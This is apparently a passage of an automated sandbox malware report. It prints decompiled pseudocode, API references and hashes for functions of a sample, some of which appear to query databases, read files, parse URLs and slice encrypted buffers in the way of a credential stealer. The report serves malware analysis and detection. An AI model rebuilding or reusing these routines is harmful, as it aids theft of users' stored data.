0x00409609
0x0040960e
0x004096b9
0x004096c0
0x00000000
0x004096d3
0x00409628
0x0040962e
0x00409635
0x0040963b
0x00409641
0x00000000
0x00000000
0x0040964c
0x00409652
0x00409655
0x00409669
0x0040967b
0x0040967b
0x004096a3
0x004096a8
0x004096b4
0x00000000
0x004096b4
0x004096d9

APIs

wsprintfA.USER32 ref: 004095BF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040961B
RtlAllocateHeap.NTDLL(00000000), ref: 00409622
lstrcat.KERNEL32(?,?), ref: 00409669
lstrcat.KERNEL32(?,00418BC4), ref: 0040967B
lstrlen.KERNEL32(?), ref: 0040968A

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: b438297a1f058ac21b392d5c2e4938b7211db3e72d96e18fa5b5e34a035e1965
Instruction ID: 0f4305f0ea4e8f12541be8dfce34b0e085d7d14125619b5af487afca8afb3160
Opcode Fuzzy Hash: b438297a1f058ac21b392d5c2e4938b7211db3e72d96e18fa5b5e34a035e1965
Instruction Fuzzy Hash: 263186B1900108ABCB14DFA4DD46FDA73B8AF4C704F0085A9F70997281D635DEA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 005897E0, Relevance: 9.1, APIs: 6, Instructions: 94memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0058980F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0058986B
RtlAllocateHeap.NTDLL(00000000), ref: 00589872
lstrcat.KERNEL32(?,?), ref: 005898B9
lstrcat.KERNEL32(?,00418BC4), ref: 005898CB
lstrlen.KERNEL32(?), ref: 005898DA

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 3279a0d31ac6cb8fdc7aad023880eae878c5ba0ec85adfaa004ecd867f618224
Instruction ID: 81addb497dca7bcc77b83c5c44083304cd5a2fc81f07035ca15fc876599d7222
Opcode Fuzzy Hash: 3279a0d31ac6cb8fdc7aad023880eae878c5ba0ec85adfaa004ecd867f618224
Instruction Fuzzy Hash: 823163B190010CABCB14EFA4DD46FEA77B8BF48300F0485A8F709A7151D635DA61CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00408510, Relevance: 9.1, APIs: 6, Instructions: 92
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00408510(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				char _v284;
				intOrPtr _v288;
				CHAR* _t25;
				void* _t28;
				void* _t30;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t56;
				void* _t61;
				void* _t63;
				void* _t64;
				void* _t67;

				E0040B720( &_v276, 0x104);
				_t25 =  *0x41a07c; // 0x488598
				wsprintfA( &_v276, _t25, _a12, _a8);
				_t28 =  *0x41a830(_a4,  &_v8);
				_t63 = _t61 + 0x18;
				if(_t28 == 0) {
					_t56 =  *0x41a430; // 0x4883f8
					_t30 =  *0x41a7e8(_v8, _t56, 0xffffffff,  &_v280, 0);
					_t64 = _t63 + 0x14;
					if(_t30 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_v284 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t36 =  *0x41a804(_v280);
						_t67 = _t64 + 4;
						if(_t36 != 0x64) {
							break;
						}
						_t42 =  *0x41a820(_v280, 0);
						_t64 = _t67 + 8;
						_v288 = _t42;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t64 = _t67 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t28;
			}

0x00408525
0x00408532
0x0040853f
0x00408550
0x00408556
0x0040855b
0x0040856c
0x00408577
0x0040857d
0x00408582
0x0040862d
0x00408634
0x00000000
0x00408647
0x0040859c
0x004085a2
0x004085a9
0x004085af
0x004085b5
0x00000000
0x00000000
0x004085c0
0x004085c6
0x004085c9
0x004085dd
0x004085ef
0x004085ef
0x00408617
0x0040861c
0x00408628
0x00000000
0x00408628
0x0040864d

APIs

wsprintfA.USER32 ref: 0040853F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040858F
RtlAllocateHeap.NTDLL(00000000), ref: 00408596
lstrcat.KERNEL32(?,?), ref: 004085DD
lstrcat.KERNEL32(?,00418BC4), ref: 004085EF
lstrlen.KERNEL32(?), ref: 004085FE

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 196cf0260032b9b84928276cbb52c5d47c36dfe131fafa73a6de52fa6168aaa9
Instruction ID: 16a89e7602ce9a9af0cb90aa00b31cd04fc627f3dd9fe4cd639e4c9769f6db21
Opcode Fuzzy Hash: 196cf0260032b9b84928276cbb52c5d47c36dfe131fafa73a6de52fa6168aaa9
Instruction Fuzzy Hash: 0F3198B1900108ABCB14EFA4DD46EDA7378AF48705F0085A8F719D7191DA35DAA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00588760, Relevance: 9.1, APIs: 6, Instructions: 92memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0058878F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 005887DF
RtlAllocateHeap.NTDLL(00000000), ref: 005887E6
lstrcat.KERNEL32(?,?), ref: 0058882D
lstrcat.KERNEL32(?,00418BC4), ref: 0058883F
lstrlen.KERNEL32(?), ref: 0058884E

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: a067fa9aa66848bc42d69728368930e1c48be6e022443f56fa634f8f40c33e55
Instruction ID: 6947711a70f8131fccc79887227fd0d8b35b2c44e53b49611a045f206bc84da0
Opcode Fuzzy Hash: a067fa9aa66848bc42d69728368930e1c48be6e022443f56fa634f8f40c33e55
Instruction Fuzzy Hash: 653147B190010CABCB14EFA4DD4AEEA7778BF48701F0085A4F719D7151DA35DA61CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00407380, Relevance: 9.1, APIs: 6, Instructions: 77
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00407380(CHAR* _a4, void** _a8, long* _a12) {
				struct _OVERLAPPED* _v8;
				long _v12;
				void* _v16;
				intOrPtr _v24;
				long _v28;
				long _v32;

				_v8 = 0;
				_v16 = 0;
				_v16 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0, 0);
				if(_v16 == 0 || _v16 == 0xffffffff) {
					L12:
					return _v8;
				} else {
					_push( &_v28);
					_push(_v16);
					if( *0x41a868() != 0 && _v24 == 0) {
						 *_a12 = _v28;
						 *_a8 = LocalAlloc(0x40,  *_a12);
						if( *_a8 != 0) {
							if(ReadFile(_v16,  *_a8,  *_a12,  &_v12, 0) == 0 ||  *_a12 != _v12) {
								_v32 = 0;
							} else {
								_v32 = 1;
							}
							_v8 = _v32;
							if(_v8 == 0) {
								LocalFree( *_a8);
							}
						}
					}
					CloseHandle(_v16);
					goto L12;
				}
			}

0x00407386
0x0040738d
0x004073ad
0x004073b4
0x0040745b
0x00407461
0x004073c4
0x004073c7
0x004073cb
0x004073d4
0x004073e2
0x004073f5
0x004073fd
0x0040741d
0x00407432
0x00407429
0x00407429
0x00407429
0x0040743c
0x00407443
0x0040744b
0x0040744b
0x00407443
0x004073fd
0x00407455
0x00000000
0x00407455

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,004076B0,00000000,?), ref: 004073A7
GetFileSizeEx.KERNEL32(000000FF,004076B0,?,004076B0,00000000,?), ref: 004073CC
LocalAlloc.KERNEL32(00000040,?,?,004076B0), ref: 004073EC
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,004076B0), ref: 00407415
LocalFree.KERNEL32(?), ref: 0040744B
CloseHandle.KERNEL32(000000FF,?,004076B0,00000000,?), ref: 00407455

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: af94470c476782e88e9ea84d45e590fd848c7c035798b2791f751b67d2b5900f
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: 1A31DBB4A04209EFDB14DF94C888BAEBBB5FF48310F108169E915AB3D0C778AA55CF55

Uniqueness

Uniqueness Score: -1.00%

Function 005875D0, Relevance: 9.1, APIs: 6, Instructions: 77filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00587900,00000000,?), ref: 005875F7
GetFileSizeEx.KERNEL32(000000FF,00587900,?,00587900,00000000,?), ref: 0058761C
LocalAlloc.KERNEL32(00000040,?,?,00587900), ref: 0058763C
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,00587900), ref: 00587665
LocalFree.KERNEL32(?), ref: 0058769B
CloseHandle.KERNEL32(000000FF,?,00587900,00000000,?), ref: 005876A5

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: f59d6647c68f6f3534fe21ee030d68e042a06e3c37ee5840262dd5d4a191c13c
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: 73312AB4A04608EFDB14DF99C884BAEBBB5FF48300F208158ED14AB290D774EA91CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040BEB0, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040BEB0(char _a4, char* _a8, intOrPtr _a12) {
				char* _v8;
				char* _v12;
				intOrPtr _v16;
				char _v17;
				intOrPtr _v24;

				_t2 =  &_a4; // 0x487038
				_v8 = StrStrA( *_t2, _a8);
				if(_v8 != 0) {
					_t7 =  &_a4; // 0x487038
					_t8 =  &_a4; // 0x487038
					 *0x41a994(0x41ac88,  *_t8, _v8 -  *_t7);
					_t10 =  &_a4; // 0x487038
					 *((char*)(_v8 -  *_t10 + 0x41ac88)) = 0;
					_v12 = _a8;
					_t14 =  &_v12; // 0x487038
					_v16 =  *_t14 + 1;
					do {
						_t16 =  &_v12; // 0x487038
						_v17 =  *((intOrPtr*)( *_t16));
						_v12 =  &(_v12[1]);
					} while (_v17 != 0);
					_v24 = _v12 - _v16;
					wsprintfA(_v8 - _a4 + 0x41ac88, "%s%s", _a12, _v8 + _v24);
					return 0x41ac88;
				}
				_t5 =  &_a4; // 0x487038
				return  *_t5;
			}

0x0040beba
0x0040bec4
0x0040becb
0x0040bed5
0x0040bed9
0x0040bee2
0x0040beeb
0x0040beee
0x0040bef8
0x0040befb
0x0040bf01
0x0040bf04
0x0040bf04
0x0040bf09
0x0040bf0c
0x0040bf10
0x0040bf1c
0x0040bf3b
0x00000000
0x0040bf44
0x0040becd
0x00000000

APIs

StrStrA.SHLWAPI(8pH,?,?,004061B1,?,00487038,00000000), ref: 0040BEBE
lstrcpyn.KERNEL32(0041AC88,8pH,8pH,?,004061B1,?,00487038), ref: 0040BEE2
wsprintfA.USER32 ref: 0040BF3B

Strings

8pH, xrefs: 0040BEFB, 0040BF04
8pH, xrefs: 0040BEBA, 0040BED5, 0040BED9, 0040BEEB, 0040BECD, 0040BEBD, 0040BED8, 0040BEDC
%s%s, xrefs: 0040BF2A

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcpynwsprintf
String ID: %s%s$8pH$8pH
API String ID: 1799455324-735890484
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: 9d0df258c1970b53338195e9cfc72265299fee085df88f93dfbf2dd1b14f7860
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: 3A21F975901108FFDF05DFACC984AEEBBB4EF48344F108199E909A7341D735AA90CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00592340, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00592D2E,?,?), ref: 005923B8
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00592D2E), ref: 0059240A

Strings

.-Y, xrefs: 0059246E, 005924C3, 00592471

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: FilePointer
String ID: .-Y
API String ID: 973152223-4279173447
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 3f63fb0585c540726efc53276f3a967c9c87e487c2dc38afb2f5807a21fa6600
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: 0B51C5749002099FDB04DFA8C894BEEBBF5BB4C304F14C659E825AB391D735A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00592000, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

new[].LIBCMTD ref: 00592060
memcpy.NTDLL(00000000,?,000000FF,?,00592AED,?,000000FF,?,00004000), ref: 0059208C
memcpy.NTDLL(?,00004000,000000FF,?,00592AED,?,000000FF,?,00004000), ref: 0059211D

Strings

*Y, xrefs: 0059206E

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: memcpy$new[]
String ID: *Y
API String ID: 3541104900-2582491620
Opcode ID: 3f6ea1475b6a799feff947736ee965e7d5baee5b117e73dbe9ef4aba49eea13c
Instruction ID: b9f66b5b3c77cf39fb090b9c6c436dc87c80ea6736b25f43027350298a96265d
Opcode Fuzzy Hash: 3f6ea1475b6a799feff947736ee965e7d5baee5b117e73dbe9ef4aba49eea13c
Instruction Fuzzy Hash: 4C51BBB4A01209EFCB44CF98D485EAEBBB6FF88314F508559EA05AB345C731E991CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACE0() {
				struct _SYSTEMTIME _v20;
				void* _v24;

				_v24 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				GetLocalTime( &_v20);
				wsprintfA(_v24, "%d/%d/%d %d:%d:%d", _v20.wDay & 0x0000ffff, _v20.wMonth & 0x0000ffff, _v20.wYear & 0x0000ffff, _v20.wHour & 0x0000ffff, _v20.wMinute & 0x0000ffff, _v20.wSecond & 0x0000ffff);
				return _v24;
			}

0x0040acfa
0x0040ad01
0x0040ad2e
0x0040ad3d

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
wsprintfA.USER32 ref: 0040AD2E

Strings

%d/%d/%d %d:%d:%d, xrefs: 0040AD25

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: %d/%d/%d %d:%d:%d
API String ID: 377395780-1073349071
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00404970, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00404970(void* __ecx, void* __eflags, char* _a4) {
				intOrPtr _v56;
				char* _v60;
				char _v64;
				char _v132;

				E0040B720( &_v132, 0x40);
				E0040B720( &_v64, 0x3c);
				_v64 = 0x3c;
				_v60 =  &_v132;
				_v56 = 0x40;
				_push( &_v64);
				if(InternetCrackUrlA(_a4,  *0x41a908(), _a4, 0x10000000) == 0) {
					return 0x418b7c;
				}
				return _v60;
			}

0x0040497f
0x0040498a
0x0040498f
0x00404999
0x0040499c
0x004049a6
0x004049c3
0x00000000
0x004049cc
0x00000000

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 004049B0
InternetCrackUrlA.WININET(?,00000000), ref: 004049BB

Strings

http, xrefs: 004049CC
<, xrefs: 0040498F
@, xrefs: 0040499C

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 8d3983cd38a81258a98d11fc764a3722507325bb8868f5cea86c2b9a47c7948b
Instruction ID: e6804194f0461931acba1e2b3008128b19c1605eb91d96f529587f083f9a09b0
Opcode Fuzzy Hash: 8d3983cd38a81258a98d11fc764a3722507325bb8868f5cea86c2b9a47c7948b
Instruction Fuzzy Hash: 84F012F590020CABDB04DFA5E885FEE7B7CEB44344F008529FA04AB190DB78A5448B99

Uniqueness

Uniqueness Score: -1.00%

Function 0058AF30, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00585A0A), ref: 0058AF3D
RtlAllocateHeap.NTDLL(00000000), ref: 0058AF44
GetLocalTime.KERNEL32(?,?,?,?,?,00585A0A), ref: 0058AF51
wsprintfA.USER32 ref: 0058AF7E

Strings

ZX, xrefs: 0058AF57, 0058AF5B

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: ZX
API String ID: 377395780-3610390748
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00584BC0, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 00584C00
InternetCrackUrlA.WININET(?,00000000), ref: 00584C0B

Strings

@, xrefs: 00584BEC
http, xrefs: 00584C1C
<, xrefs: 00584BDF

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 6422e5e96578678ae9ecef98c78aa7527ca494f69da9eb8f7ec7ae06e64f97c9
Instruction ID: e7698603a6f4c93d5533fc4a46cc513530eb2b35efe76617aaf9ae45a2b07209
Opcode Fuzzy Hash: 6422e5e96578678ae9ecef98c78aa7527ca494f69da9eb8f7ec7ae06e64f97c9
Instruction Fuzzy Hash: BEF0B2B590120CABDB14EFE4E885FDD7BBCBB44340F008518FE04AB150DB74A9448B99

Uniqueness

Uniqueness Score: -1.00%

Function 00411B30, Relevance: 7.7, APIs: 5, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411B30(intOrPtr __ecx, signed int _a4, long _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _t90;
				intOrPtr _t112;
				intOrPtr _t136;
				intOrPtr _t141;

				_v24 = __ecx;
				if( *(_v24 + 4) != 0 ||  *(_v24 + 0xc) != 0 ||  *((intOrPtr*)(_v24 + 0x20)) != 0 ||  *((intOrPtr*)(_v24 + 0x18)) != 0 ||  *((intOrPtr*)(_v24 + 0x14)) != 0 || ( *(_v24 + 0x2c) & 0x000000ff) != 0) {
					return 0x1000000;
				} else {
					__eflags = _a12 - 1;
					if(_a12 != 1) {
						__eflags = _a12 - 2;
						if(__eflags != 0) {
							__eflags = _a12 - 3;
							if(_a12 != 3) {
								return 0x10000;
							}
							_v20 = _a8;
							__eflags = _v20;
							if(_v20 != 0) {
								__eflags = _a4;
								if(_a4 == 0) {
									 *(_v24 + 0xc) = CreateFileMappingW(0xffffffff, 0, 4, 0, _v20, 0);
									_t90 = _v24;
									__eflags =  *(_t90 + 0xc);
									if( *(_t90 + 0xc) != 0) {
										 *((intOrPtr*)(_v24 + 0x20)) = MapViewOfFile( *(_v24 + 0xc), 0xf001f, 0, 0, _v20);
										_t136 = _v24;
										__eflags =  *(_t136 + 0x20);
										if( *(_t136 + 0x20) != 0) {
											L25:
											 *((char*)(_v24 + 0x1c)) = 1;
											 *(_v24 + 0x24) = 0;
											 *(_v24 + 0x28) = _v20;
											return 0;
										}
										CloseHandle( *(_v24 + 0xc));
										 *(_v24 + 0xc) = 0;
										return 0x300;
									}
									return 0x300;
								}
								 *((intOrPtr*)(_v24 + 0x20)) = _a4;
								goto L25;
							}
							return 0x30000;
						}
						_v16 = _a4;
						 *(_v24 + 4) = CreateFileW(E0040B5C0(__eflags, _v16), 0x40000000, 0, 0, 2, 0x80, 0);
						_t141 = _v24;
						__eflags =  *((intOrPtr*)(_t141 + 4)) - 0xffffffff;
						if( *((intOrPtr*)(_t141 + 4)) != 0xffffffff) {
							 *((char*)(_v24 + 0x1c)) = 1;
							 *(_v24 + 0x10) = 0;
							 *((char*)(_v24 + 8)) = 1;
							return 0;
						}
						 *(_v24 + 4) = 0;
						return 0x200;
					}
					_v12 = _a4;
					 *(_v24 + 4) = _v12;
					 *((char*)(_v24 + 8)) = 0;
					_v8 = SetFilePointer( *(_v24 + 4), 0, 0, 1);
					__eflags = _v8 - 0xffffffff;
					 *((char*)(_v24 + 0x1c)) = 0 | _v8 != 0xffffffff;
					_t112 = _v24;
					__eflags =  *(_t112 + 0x1c) & 0x000000ff;
					if(( *(_t112 + 0x1c) & 0x000000ff) == 0) {
						 *(_v24 + 0x10) = 0;
					} else {
						 *(_v24 + 0x10) = _v8;
					}
					return 0;
				}
			}

0x00411b36
0x00411b40
0x00000000
0x00411b7b
0x00411b7b
0x00411b7f
0x00411be8
0x00411bec
0x00411c60
0x00411c64
0x00000000
0x00411d22
0x00411c6d
0x00411c70
0x00411c74
0x00411c80
0x00411c84
0x00411ca8
0x00411cab
0x00411cae
0x00411cb2
0x00411cd8
0x00411cdb
0x00411cde
0x00411ce2
0x00411d02
0x00411d05
0x00411d0c
0x00411d19
0x00000000
0x00411d1c
0x00411ceb
0x00411cf4
0x00000000
0x00411cfb
0x00000000
0x00411cb4
0x00411c8c
0x00000000
0x00411c8c
0x00000000
0x00411c76
0x00411bf1
0x00411c1c
0x00411c1f
0x00411c22
0x00411c26
0x00411c3f
0x00411c46
0x00411c50
0x00000000
0x00411c54
0x00411c2b
0x00000000
0x00411c32
0x00411b84
0x00411b8d
0x00411b93
0x00411baa
0x00411baf
0x00411bb9
0x00411bbc
0x00411bc3
0x00411bc5
0x00411bd5
0x00411bc7
0x00411bcd
0x00411bcd
0x00000000
0x00411bdc

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00411BA4

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction ID: 4806281024cf892df001f217e22b508f46e279854f8b30cdef803a4c5b02db50
Opcode Fuzzy Hash: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction Fuzzy Hash: 49611BB4A0020ADFEB14CF54D585BAEB7B1BB04315F208259E9156B3D1D378EE81CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00591D80, Relevance: 7.7, APIs: 5, Instructions: 156COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00591DF4

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 71429949b35bca6c2b28703409f240b6d994fc7f714cc6e6faf466484dc4969f
Instruction ID: fc3949700529f689e7ce5a9200974d7b414a77a1fc767d23c59a965cf2718e89
Opcode Fuzzy Hash: 71429949b35bca6c2b28703409f240b6d994fc7f714cc6e6faf466484dc4969f
Instruction Fuzzy Hash: F061D7B4A0021ADFDF14CF54C548BAABBF1BB44315F248658E815AB381C775EE81CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00407230, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00407230(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				long _v80;
				void* _v84;
				int _v88;
				char _v5092;
				void* _t58;
				void* _t94;

				E004139B0(0x13e0, __ecx);
				if(_a8 < 3) {
					L10:
					return E00407190(_a4, _a8);
				}
				asm("repe cmpsb");
				if(0 != 0) {
					goto L10;
				}
				if(((0 | _a12 != 0x00000000) & (0 | _a16 != 0x00000000)) == 0) {
					return 0x4191a0;
				}
				memset( &_v76, 0, 0x40);
				_v76 = 0x40;
				_v72 = 1;
				_v68 = _a4 + 3;
				_v64 = 0xc;
				_v52 = _v68 + _a8 - 0x13;
				_v48 = 0x10;
				_v80 = _a8 - 3 - _v64 - _v48;
